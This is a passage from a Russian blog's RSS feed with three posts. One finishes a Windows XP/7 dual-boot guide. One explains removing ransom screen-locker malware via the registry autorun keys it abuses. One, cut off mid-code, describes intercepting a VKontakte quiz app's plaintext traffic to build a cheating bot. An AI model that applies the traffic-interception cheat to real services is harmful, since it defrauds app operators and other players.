12pt&quot;&gt;Вот и все. Перезагружаем ноутбук и видим такое меню с выбором операционной системы для загрузки:&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;&lt;!--IMG10--&gt;&lt;a href=&quot;http://russia-android.ucoz.ru/_bl/0/40728000.jpg&quot; target=&quot;_blank&quot; title=&quot;Нажмите, для просмотра в полном размере...&quot;&gt;&lt;img alt=&quot;&quot; style=&quot;margin:0;padding:0;border:0;&quot; src=&quot;http://russia-android.ucoz.ru/_bl/0/s40728000.jpg&quot; align=&quot;&quot; /&gt;&lt;/a&gt;&lt;!--IMG10--&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;Удаление Windows XP&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;&lt;br&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;&lt;br&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;Рассмотрим теперь как можно удалить Windows XP. Для этого также необходимы утилиты bootsect.exe и bcdedit.exe (Скачать архив с этими утилитами можно по этим ссылкам: скачать / скачать). Распаковываем их на раздел C:&amp;#92;.&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;&lt;br&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;&lt;br&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;Запускаем командную строку от имени Администратора и вводим команду C:&amp;#92;FixBoot&amp;#92;bcdedit.exe /delete {ntldr} /f /cleanup и нажимаем Enter:&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;&lt;!--IMG11--&gt;&lt;a href=&quot;http://russia-android.ucoz.ru/_bl/0/67825571.jpg&quot; target=&quot;_blank&quot; title=&quot;Нажмите, для просмотра в полном размере...&quot;&gt;&lt;img alt=&quot;&quot; style=&quot;margin:0;padding:0;border:0;&quot; src=&quot;http://russia-android.ucoz.ru/_bl/0/s67825571.jpg&quot; align=&quot;&quot; /&gt;&lt;/a&gt;&lt;!--IMG11--&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;Перезагружаем ноутбук и удаляем файлы Windows XP:&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;&lt;!--IMG12--&gt;&lt;a href=&quot;http://russia-android.ucoz.ru/_bl/0/71907890.jpg&quot; target=&quot;_blank&quot; title=&quot;Нажмите, для просмотра в полном размере...&quot;&gt;&lt;img alt=&quot;&quot; style=&quot;margin:0;padding:0;border:0;&quot; src=&quot;http://russia-android.ucoz.ru/_bl/0/s71907890.jpg&quot; align=&quot;&quot; /&gt;&lt;/a&gt;&lt;!--IMG12--&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;Вот и все. Windows XP удалена.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&lt;p&gt;P.S. Автором материала является Тониевич Андрей. Источник http://notebookclub.org/article/windows/19-how-to-install-windows-xp-on-windows-7.html&lt;/p&gt;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&lt;p&gt;С уважением, автор материала - Тониевич Андрей. Публикация данного материала на других ресурсах разрешаются исключительно со ссылкой на источник и с указанием автора&lt;/p&gt;</content:encoded>
			<link>https://russia-android.ucoz.ru/blog/ustanovka_windows_xp_s_ustanovlennoj_windows_7_v_kachestve_vtoroj_sistemy/2011-12-27-13</link>
			<dc:creator>linux777777</dc:creator>
			<guid>https://russia-android.ucoz.ru/blog/ustanovka_windows_xp_s_ustanovlennoj_windows_7_v_kachestve_vtoroj_sistemy/2011-12-27-13</guid>
			<pubDate>Tue, 27 Dec 2011 09:50:40 GMT</pubDate>
		</item>
		<item>
			<title>Блокираторы Windows и как с этим бороться</title>
			<description>&lt;p&gt;&lt;span style=&quot;font-size: 16pt&quot;&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;Наверно всем из нас, кто знает, что такое компьютер, приходилось сталкиваться с такой штукой как блокиратор операционной системы. Это веселый банер, обычно на весь экран или около того, с активным окном на переднем плане, которое нельзя закрыть.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 16pt&quot;&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;В начале, на заре создания данных блокираторов, все решалось простым нажатием трех педалей, вызовом диспетчера задач, снятием процесса или командой &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;em&gt;&lt;span style=&quot;font-size: 16pt&quot;&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;msconfig, &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/em&gt;&lt;span style=&quot;font-size:...</description>
			<content:encoded>&lt;p&gt;&lt;span style=&quot;font-size: 16pt&quot;&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;Наверно всем из нас, кто знает, что такое компьютер, приходилось сталкиваться с такой штукой как блокиратор операционной системы. Это веселый банер, обычно на весь экран или около того, с активным окном на переднем плане, которое нельзя закрыть.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 16pt&quot;&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;В начале, на заре создания данных блокираторов, все решалось простым нажатием трех педалей, вызовом диспетчера задач, снятием процесса или командой &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;em&gt;&lt;span style=&quot;font-size: 16pt&quot;&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;msconfig, &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/em&gt;&lt;span style=&quot;font-size: 16pt&quot;&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;а дальше удалением из автозагрузки данной нечести...оттуда же можно было увидеть и откуда берется вирус, обычно это папк&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;em&gt;&lt;span style=&quot;font-size: 16pt&quot;&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;а &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/em&gt;&lt;em&gt;&lt;span style=&quot;font-size: 16pt&quot;&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;TEMP,&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/em&gt;&lt;span style=&quot;font-size: 16pt&quot;&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;в папках авто загрузки.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;1) &amp;nbsp;
&amp;nbsp;&lt;span style=&quot;font-size: 14pt&quot;&gt;Windows 7&lt;/span&gt;. &lt;span style=&quot;font-size: 12pt&quot;&gt;Для счастливых обладателей этой системы есть прекрасная новость: любой баннер снимается за 5 минут. Вставьте установочный диск, в БИОСе включите приоритет на загрузку с dvd-рома. После запуска системы установки выберите пункт «восстановление запуска», и система сама удалит баннер из загрузочного файла.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;
&lt;!--IMG1--&gt;&lt;a href=&quot;http://russia-android.ucoz.ru/_bl/0/80803169.jpg&quot; target=&quot;_blank&quot; title=&quot;Нажмите, для просмотра в полном размере...&quot;&gt;&lt;img alt=&quot;&quot; style=&quot;margin:0;padding:0;border:0;&quot; src=&quot;http://russia-android.ucoz.ru/_bl/0/s80803169.jpg&quot; align=&quot;&quot; /&gt;&lt;/a&gt;&lt;!--IMG1--&gt;
&lt;/span&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;&lt;br&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;2) &amp;nbsp;
&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;Поиск кода.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt; Если баннер, «захвативший» ваш компьютер достаточно стар, то есть вероятность того, что вы сможете найти готовый код разблокировки. Просто откройте поисковую систему на другом компьютере или ноутбуке и введите номер телефона, на который предлагают отправить смс. Готовые ключи предложены на сайтах антивирусов «Касперский» и «Dr. Web».&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;

&lt;!--IMG2--&gt;&lt;a href=&quot;http://russia-android.ucoz.ru/_bl/0/25752754.jpg&quot; target=&quot;_blank&quot; title=&quot;Нажмите, для просмотра в полном размере...&quot;&gt;&lt;img alt=&quot;&quot; style=&quot;margin:0;padding:0;border:0;&quot; src=&quot;http://russia-android.ucoz.ru/_bl/0/s25752754.jpg&quot; align=&quot;&quot; /&gt;&lt;/a&gt;&lt;!--IMG2--&gt;
&lt;/span&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;&lt;br&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;3) &amp;nbsp;
&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;Перевод даты&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt&quot;&gt;.&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt; Иногда для деактивации баннера помогает перевод даты в BIOS’е. В начале загрузки нажмите «del» или &quot;F2&quot; для входа в БИОС и поменяйте дату: попробуйте варианты с переводом числа вперёд и назад. Обычно работает с баннерами, содержащими фразу «через n дней вся информация на вашем компьютере будет уничтожена».&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;
&lt;!--IMG3--&gt;&lt;a href=&quot;http://russia-android.ucoz.ru/_bl/0/06459880.jpg&quot; target=&quot;_blank&quot; title=&quot;Нажмите, для просмотра в полном размере...&quot;&gt;&lt;img alt=&quot;&quot; style=&quot;margin:0;padding:0;border:0;&quot; src=&quot;http://russia-android.ucoz.ru/_bl/0/s06459880.jpg&quot; align=&quot;&quot; /&gt;&lt;/a&gt;&lt;!--IMG3--&gt;
&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;&lt;br&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;4) &amp;nbsp;
&amp;nbsp;Можно попробовать вылечить компьютер с помощью запуска различных утилит, коих предлагается огромное количество. Нами проверена программа &quot;Разблокировщик AVZ&quot;. После установки обновите базу данных утилиты и запустите её.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;
&lt;!--IMG4--&gt;&lt;a href=&quot;http://russia-android.ucoz.ru/_bl/0/30061569.jpg&quot; target=&quot;_blank&quot; title=&quot;Нажмите, для просмотра в полном размере...&quot;&gt;&lt;img alt=&quot;&quot; style=&quot;margin:0;padding:0;border:0;&quot; src=&quot;http://russia-android.ucoz.ru/_bl/0/s30061569.jpg&quot; align=&quot;&quot; /&gt;&lt;/a&gt;&lt;!--IMG4--&gt;
&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;&lt;br&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;5) Если речь идёт о компьютере, то самое простое и верное решение всего одно. Выньте жесткий диск, подключите его к другому ПК как вторичный и проведите полное сканирование на вирусы с другой системы.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;6) Также могут помочь антивирусные утилиты от известных антивирусных контор, упомянутых выше. Надо записать на болванку или сделать загрузочную флешку с этим ПО, загрузиться с этих носителей информации с поддержкой жестких дисков и запустить сканирование.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;7) Убрать вирус из автозагрузки. Это ветки реестра HKEY_CURRENT_USER&amp;#92;Software&amp;#92;Microsoft&amp;#92;Windows&amp;#92;CurrentVersion&amp;#92;Run и&amp;nbsp; HKEY_LOCAL_MASHINE&amp;#92;Software&amp;#92;Microsoft&amp;#92;Windows&amp;#92;CurrentVersion&amp;#92;Run. Если ты пользуешься &amp;nbsp;брауезорм IE и он начал вести себя странно (голые тетеньки, странные сайты с немене странным содержанием), то у меня для тебя плохие новости, тебе сюда:&amp;nbsp;&amp;nbsp;
 HKEY_CURRENT_USER&amp;#92;Software&amp;#92;Microsoft&amp;#92;Windows&amp;#92;CurrentVersion&amp;#92;Explorer&amp;#92;Browser Helper Objekts;&amp;nbsp;&amp;nbsp;
HKEY_LOCAL_MASHINE&amp;#92;Software&amp;#92;Microsoft&amp;#92;Windows NT&amp;#92;CurrentVersion&amp;#92;Winlogon&amp;#92;Userinit&amp;#92;;&amp;nbsp;&amp;nbsp;
HKEY_LOCAL_MASHINE&amp;#92;Software&amp;#92;Microsoft&amp;#92;Windows&amp;#92;CurrentVersion&amp;#92;RunServices; &amp;nbsp;
HKEY_LOCAL_MASHINE&amp;#92;Software&amp;#92;Microsoft&amp;#92;Windows NT&amp;#92;CurrentVersion&amp;#92;Winlogon&amp;#92;Notify&amp;#92;. Эти ветки реестра позволяют запускать разнообразные исполняемые файлы (обычные dll) . Последний ключ реестра подгружает пользовательскую dll к explorer.exe, а это значит, что код зловреда будет работать даже в безопасном режиме.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;Также вирус может загрузиться в память компьютера с помощью групповых политик.&amp;nbsp; &amp;nbsp;
HKEY_LOCAL_MASHINE&amp;#92;Software&amp;#92;Microsoft&amp;#92;Windows&amp;#92;CurrentVersion&amp;#92;Polices&amp;#92;Explorer&amp;#92;Run
&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;Да, после удаления банера, очень часто бывает необходимо почистить следы его пребывания. Это бывает невозможность вызвать редактор реестра, или запустить диспетчер задач. Вы хотите поговорить об этом?) Существует два параметра в ветке реестра&amp;nbsp;&amp;nbsp;
HKEY_LOCAL_MASHINE&amp;#92;Software&amp;#92;Microsoft&amp;#92;Windows&amp;#92;CurrentVersion&amp;#92;Polices&amp;#92;System. Первый из них - DisableRegistryTools. Если присвоить ему значение равное 1, то regedit.exe не захочет запускаться. Еще стоит обратить внимание на параметр DisableRegedit.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;Для запрета диспетчера задач используется параметр DisableTaskMGR в HKCU&amp;#92;Software&amp;#92;Microsoft&amp;#92;Windows&amp;#92;CurrentVersion&amp;#92;Polices&amp;#92;System. Также малварь может запретить запуск определенных программ. Делается это просто.&amp;nbsp;&amp;nbsp;
HKEY_CURRENT_USER&amp;#92;Software&amp;#92;Microsoft&amp;#92;Windows&amp;#92;CurrentVersion&amp;#92;Polices&amp;#92;Explorer.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;В этой статье я привел далеко не полный список трюков и хитростей для устранение малвари, блокирующей работу вашего компьютера. Развивайтесь и да прибудет с вами сила)). &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12pt&quot;&gt;P.S. Каково бы не было содержание баннеров, не отправляйте SMS на указанные номера. Пока вы будете это делать, данный рынок будет процветать.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br&gt;&lt;/p&gt;</content:encoded>
			<link>https://russia-android.ucoz.ru/blog/blokiratory_windows_i_kak_s_ehtim_borotsja/2011-09-03-12</link>
			<dc:creator>linux777777</dc:creator>
			<guid>https://russia-android.ucoz.ru/blog/blokiratory_windows_i_kak_s_ehtim_borotsja/2011-09-03-12</guid>
			<pubDate>Sat, 03 Sep 2011 12:38:25 GMT</pubDate>
		</item>
		<item>
			<title>Взлом игр ВКонтакте: исследование приложений ВКонтакте под микроскопом</title>
			<description>Так уж мы устроены, что многим из нас свойственна погоня за общественным статусом. Одни ищут себе сексуального супруга, другие окружают себя элементами роскоши, третьи же (в основном, люди еще молодые) ограничиваются поддержанием виртуального статуса. В этой статье будет затронута часть этой своеобразной индустрии - многопользовательские браузерные онлайн-игры и их слабые места.&lt;br&gt;Про онлайн-игры&lt;br&gt;&lt;br&gt;Для начала предлагаю разобраться, на какие же категории можно разделить все онлайн-игры с точки зрения их уровня безопасности. Первый тип – это платформозависимые игры с собственным движком, который обычно разрабатывается с нуля. Это такие игры, как World of Warcraft, Lineage, Warhammer и другие. Как правило, вся информация от клиента к серверу передается по собственному протоколу игры, и степень ее защищенности определяется только фантазией разработчиков. &lt;br&gt;&lt;br&gt;Второй тип – это кроссплатформенные игры с собственным движком и протоколом обмена данными. Это всевозможные бойцовские клу...</description>
			<content:encoded>Так уж мы устроены, что многим из нас свойственна погоня за общественным статусом. Одни ищут себе сексуального супруга, другие окружают себя элементами роскоши, третьи же (в основном, люди еще молодые) ограничиваются поддержанием виртуального статуса. В этой статье будет затронута часть этой своеобразной индустрии - многопользовательские браузерные онлайн-игры и их слабые места.&lt;br&gt;Про онлайн-игры&lt;br&gt;&lt;br&gt;Для начала предлагаю разобраться, на какие же категории можно разделить все онлайн-игры с точки зрения их уровня безопасности. Первый тип – это платформозависимые игры с собственным движком, который обычно разрабатывается с нуля. Это такие игры, как World of Warcraft, Lineage, Warhammer и другие. Как правило, вся информация от клиента к серверу передается по собственному протоколу игры, и степень ее защищенности определяется только фантазией разработчиков. &lt;br&gt;&lt;br&gt;Второй тип – это кроссплатформенные игры с собственным движком и протоколом обмена данными. Это всевозможные бойцовские клубы, игры типа TimeZero и прочие. В отличие от игр первого типа, они обычно выполнены на базе Flash и Java. Их плюс – в кроссплатформенности, а небольшой минус – в безопасности. Конечно, с безопасностью все не критично, но явно хуже, чем у первого типа игр, в силу ограниченности возможностей используемых технологий, особенно Flash. Тем не менее, у игр третьего типа маневров для поддержания достаточно хорошего уровня безопасности еще меньше. &lt;br&gt;&lt;br&gt;Третий тип – это подмножество второго типа, то есть браузерные онлайн-игры, построенные на схожем протоколе обмена данными, API либо движке. К этому типу относятся игры внутри таких небезызвестных сервисов, как Mail.ru, Yahoo и ВКонтакте. Последнему и посвятим наше внимание.&lt;br&gt;&lt;br&gt;&lt;p&gt;Приложения ВКонтакте завоевали популярность в массах практически сразу же после своего появления. Фермы, покеры и рисовалки на стенах в кратчайшие сроки набрали сотни тысяч пользователей в свои ряды, а их создатели получили неплохую финансовую подпитку за счет любителей поднять свой рейтинг (и, как следствие, виртуальный общественный статус) путем оплаты тех или иных услуг со счета ВКонтакте. Как будет показано далее, с помощью несложных манипуляций в некоторых приложениях можно добиться желаемого результата, не тратя много времени, а всего лишь написав автоматизатор (бот), который будет выполнять всю работу за тебя. Так я и сделал в один прекрасный день.&lt;/p&gt;&lt;p&gt;&lt;br&gt;&lt;/p&gt;Идея!&lt;br&gt;&lt;br&gt;&lt;p&gt;С чего же все началось? А с того, что я, будучи любителем английского языка, нашел ВКонтакте приложение LinguaMania. Это тренажер для изучения языков. Чтобы обучение проходило веселее, разработчики реализовали систему поощрений в виде букв, из которых можно собирать слова, а затем &quot;покупать&quot; за них одежду и одевать свою виртуальную аватарку. Ну и, само собой, рейтинг. А вот о нем подробнее. Рейтинг дается не только за обучение по виртуальным &quot;учебникам&quot;, но и за игру в викторину, которая сразу меня заинтересовала.&lt;/p&gt;&lt;p&gt;&lt;!--IMG1--&gt;&lt;a href=&quot;http://russia-android.ucoz.ru/_bl/0/76261999.jpg&quot; target=&quot;_blank&quot; title=&quot;Нажмите, для просмотра в полном размере...&quot;&gt;&lt;img alt=&quot;&quot; style=&quot;margin:0;padding:0;border:0;&quot; src=&quot;http://russia-android.ucoz.ru/_bl/0/s76261999.jpg&quot; align=&quot;&quot; /&gt;&lt;/a&gt;&lt;!--IMG1--&gt;&lt;br&gt;&lt;/p&gt;&lt;br&gt;&lt;br&gt;Так выглядит игровой процесс&lt;br&gt;&lt;br&gt;Первые несколько недель я честно набивал очки тысячами, пока не надоело. Набрав 100 000 очков и оторвавшись от преследователей в 2-3 раза, я изрядно устал и забил на это дело. Но по прошествии нескольких месяцев меня стали догонять в рейтинге. Тут-то и проснулся мой эгоцентризм: желание сохранить первую строчку рейтинга вынудило меня обдумать пути набора очков без лишней траты времени. &lt;br&gt;&lt;br&gt;&lt;p&gt;Первым делом я полез смотреть трафик приложения: что куда передается, что приходит обратно. Для анализа HTTP-трафика я еще не встречал инструмента лучше, чем приложение HTTPWatch для Internet Explorer&apos;а. Итак, я запустил игру, нажал кнопку &quot;Record&quot; в аддоне для записи логов… и вот тут мне, как говорится, и &quot;пришли 2 туза на префлопе&quot;. Я увидел, что приложение передает все свои данные как есть, в открытую.&lt;/p&gt;&lt;p&gt;&lt;!--IMG2--&gt;&lt;a href=&quot;http://russia-android.ucoz.ru/_bl/0/39136554.jpg&quot; target=&quot;_blank&quot; title=&quot;Нажмите, для просмотра в полном размере...&quot;&gt;&lt;img alt=&quot;&quot; style=&quot;margin:0;padding:0;border:0;&quot; src=&quot;http://russia-android.ucoz.ru/_bl/0/s39136554.jpg&quot; align=&quot;&quot; /&gt;&lt;/a&gt;&lt;!--IMG2--&gt;&lt;br&gt;&lt;/p&gt;&lt;br&gt;&lt;br&gt;Трафик &quot;глазами&quot; HttpWatch&lt;br&gt;&lt;br&gt;Изучив трафик я обнаружил, что переменная state принимает следующие значения: PHASE1, PHASE2, PHASE3, GUESS, LOSE. Это соответствует стадиям игры в каждом раунде: все буквы скрыты, одна буква открыта, две буквы открыты, слово угадано, слово не угадано. Как видишь, в открытую передается question_id, что, как несложно догадаться, есть номер вопроса. В случае первых трех фаз в поле &quot;question_mask&quot; передается маска слова. Например, если state=PHASE3, первая буква C, вторая буква A, то маска слова - ??С?A. Если текущая фаза – GUESS или LOSE, то слово будет отображено на экране целиком, чтобы показать пользователю ответ. Соответственно, в переменной question_mask это также отобразится: там будет слово полностью, без знаков вопроса.&lt;br&gt;&lt;br&gt;Смотри внимательно. В конце каждого раунда мы получаем номер вопроса и ответ на него. Именно это открытие и навело меня на идею автоматизировать процесс. Ведь каждый раз, когда мы получаем слово, мы заносим его в нашу базу данных слов. Если же такой question_id там уже есть, то мы берем слово и вписываем его в окошко программы, за что получаем очки. Само собой, что проверку на наличие слова в базе нужно делать в тот момент, когда state будет PHASE1, PHASE2 или PHASE3. Таким образом, наш бот будет самообучающимся: нет слова – запоминаем, есть слово – отвечаем на вопрос.&lt;br&gt;Кодинг&lt;br&gt;&lt;br&gt;Как же это все реализовать на практике? Для начала нужно научиться самим перехватывать трафик. Рассмотрим доступные нам варианты. Их будет три.&lt;br&gt;&lt;br&gt;Первый вариант – это перехват пакетов сетевого интерфейса. Достаточно низкоуровневый способ, требующий навыков взаимодействия с внешними библиотеками, сетевыми интерфейсами и, в целом, умения работать с операционной системой на низком уровне. Тебе пригодится библиотека WinPCap, которая позволяет получать пакеты в чистом виде прямо с сетевого интерфейса. В остальном – Гугл в помощь.&lt;br&gt;&lt;br&gt;Второй путь – это работа с Internet Explorer. Этот способ, пожалуй, самый высокоуровневый, так как мы получаем уже готовый, обработанный трафик. Для перехвата трафика таким образом необходимо владеть COM-программированием: уметь подключаться к COM-объектам (каковым является компонент IWebBrowser2 внутри окна Internet Explorer’а), реализовывать интерфейсы и работать с ними. Способ требует серьезных знаний в вышеуказанной области, поэтому я решил делать &quot;как дед учил&quot;, третьим способом. А это у нас реализация прокси-сервера. Точнее говоря, Socks 4/5 сервера. На этом способе заострим наше внимание. Заострим немного, так как статья все же не о создании Socks-сервера, поэтому нагружать ее кодом не буду.&lt;br&gt;&lt;br&gt;Начать написание Socks-сервера стоит с изучения вот этого мануала. Для ленивых и англонемых будут мои пояснения на русском. Но сперва реализуем серверное приложение. Есть несколько способов сделать приложение-сервер, начиная со старого…&lt;br&gt;&lt;br&gt;SOCKET mysocket&lt;br&gt;&lt;br&gt;sockaddr_in local_addr; &lt;br&gt;&lt;br&gt;local_addr.sin_family = AF_INET; &lt;br&gt;&lt;br&gt;local_addr.sin_port = htons(MY_PORT); &lt;br&gt;&lt;br&gt;local_addr.sin_addr.s_addr = 0;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;mysocket = socket(AF_INET, SOCK_STREAM, 0);&lt;br&gt;&lt;br&gt;bind(mysocket, (sockaddr *)&amp;amp;local_addr, sizeof(local_addr));&lt;br&gt;&lt;br&gt;listen(mysocket, 1080);&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;SOCKET client_socket;&lt;br&gt;&lt;br&gt;sockaddr_in client_addr;&lt;br&gt;&lt;br&gt;int client_addr_size = sizeof(client_addr);&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;while ((client_socket = accept(mysocket, (sockaddr *)&amp;amp;client_addr, &amp;amp;client_addr_size)))&lt;br&gt;&lt;br&gt;{&lt;br&gt;&lt;br&gt;DWORD thID;&lt;br&gt;&lt;br&gt;CreateThread(NULL, NULL, ClientThread, &amp;amp;client_socket, NULL, &amp;amp;thID);&lt;br&gt;&lt;br&gt;}&lt;br&gt;&lt;br&gt;...и заканчивая вполне современным способом реализации серверов под Windows, каковым является работа с сетевыми сообщениями при помощи функции WSAAsyncSelect(). Саму программу и ее полный исходный код на C++ в среде Visual Studio 10 можно найти на нашем DVD. Рамки статьи не позволяют детально описать процесс создания Socks-сервера, поэтому я ограничусь лишь пояснением структуры программы и основных методов, которые я использовал.&lt;br&gt;&lt;br&gt;Начать написание такого приложения стоит примерно c такого кода:&lt;br&gt;&lt;br&gt;SOCKET server_socket;&lt;br&gt;&lt;br&gt;WSADATA wsaData;&lt;br&gt;&lt;br&gt;int server_port = 3128;&lt;br&gt;&lt;br&gt;int queue_size = 5;&lt;br&gt;&lt;br&gt;struct sockaddr_in server_address;&lt;br&gt;&lt;br&gt;#define SERVER_ACCEPT WM_USER + 1&lt;br&gt;&lt;br&gt;#define CLIENT_EVENT WM_USER + 2&lt;br&gt;&lt;br&gt;#define TARGET_EVENT WM_USER + 